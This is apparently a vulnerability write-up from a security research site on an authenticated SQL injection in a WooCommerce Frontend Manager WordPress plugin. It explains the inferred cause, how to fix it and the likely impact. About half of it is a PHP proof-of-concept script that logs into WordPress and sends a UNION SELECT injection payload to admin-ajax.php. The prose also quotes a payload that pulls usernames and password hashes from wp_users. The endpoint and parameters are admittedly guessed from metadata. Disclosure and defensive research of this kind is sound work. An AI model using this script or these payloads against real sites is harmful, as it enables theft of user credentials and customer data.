Atomic Edge analysis of CVE-2026-22335 (metadata-based):
This vulnerability is an authenticated SQL injection in the WooCommerce Frontend Manager – Ultimate WordPress plugin, affecting versions up to 6.7.7. The flaw allows attackers with subscriber-level permissions or higher to inject malicious SQL commands. The CVSS score of 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) reflects a high confidentiality impact with low attack complexity over the network.
The root cause is insufficient escaping of user-supplied parameters and lack of prepared SQL statements. The CWE-89 classification confirms improper neutralization of special elements within SQL commands. Atomic Edge research infers the vulnerable code likely passes unsanitized user input directly into a SQL query via the $wpdb class without using proper methods like $wpdb->prepare(). This inference is based on the CWE and the description’s mention of ‘insufficient escaping’ and ‘lack of sufficient preparation.’ Without a code diff, this conclusion is not confirmed from source code.
Exploitation requires a valid WordPress account with at least subscriber privileges. Attackers likely target an AJAX endpoint (e.g., /wp-admin/admin-ajax.php) or a REST API endpoint where the plugin processes user input. The payload would append UNION SELECT statements to extract data from the database. A typical attack vector involves sending a POST request with a malicious parameter, such as ‘user_id’ or ‘product_id’, containing SQL injection syntax like ‘1’ UNION SELECT user_login,user_pass FROM wp_users–‘.
Remediation requires implementing proper input validation and using parameterized queries. The patched version should replace all direct variable interpolation in SQL strings with the $wpdb->prepare() function. All user-supplied data must be validated against a strict allowlist or properly escaped for its expected context (e.g., integer casting for numeric IDs).
Successful exploitation leads to full database disclosure. Attackers can extract sensitive information including hashed user passwords, personal data, WooCommerce order details, and authentication cookies. This data exposure can facilitate further attacks like password cracking or session hijacking. The vulnerability does not directly enable privilege escalation or remote code execution according to the CVSS vector.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22335 - WooCommerce Frontend Manager – Ultimate < 6.7.7 - Authenticated (Subscriber+) SQL Injection
<?php
/*
* ASSUMPTIONS (based on metadata):
* 1. The plugin exposes an AJAX endpoint vulnerable to SQL injection.
* 2. The endpoint is accessible to authenticated users with 'subscriber' role.
* 3. A parameter like 'id' or 'wcfm_id' is vulnerable.
* 4. The endpoint uses the action 'wcfm_ajax_controller' or similar pattern.
* 5. The SQL injection is time-blind or error-based.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS
$cookie_file = '/tmp/cookies.txt';
// Step 1: Authenticate to WordPress
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/admin-ajax.php', '/wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Craft SQL injection payload (error-based example)
// Attempts to extract database version via UNION SELECT
$payload = "1' UNION SELECT 1,@@version,3,4,5,6,7,8,9,10-- -";
// Step 3: Send exploit request to suspected AJAX endpoint
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'wcfm_ajax_controller', // Inferred from plugin slug pattern
'controller' => 'products', // Common WCFM controller
'id' => $payload, // Injected parameter
'nonce' => 'dummy_nonce' // May be required but potentially bypassed
]),
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Check for successful injection
if ($http_code == 200 && (strpos($response, 'MySQL') !== false || strpos($response, 'MariaDB') !== false)) {
echo "[+] Potential SQL injection successful. Database version may be in response.n";
echo "[+] Response snippet: " . substr($response, 0, 500) . "n";
} else {
echo "[-] Exploit attempt unsuccessful or endpoint/parameter incorrect.n";
echo "[-] HTTP Code: $http_coden";
}
// Cleanup
@unlink($cookie_file);
?>
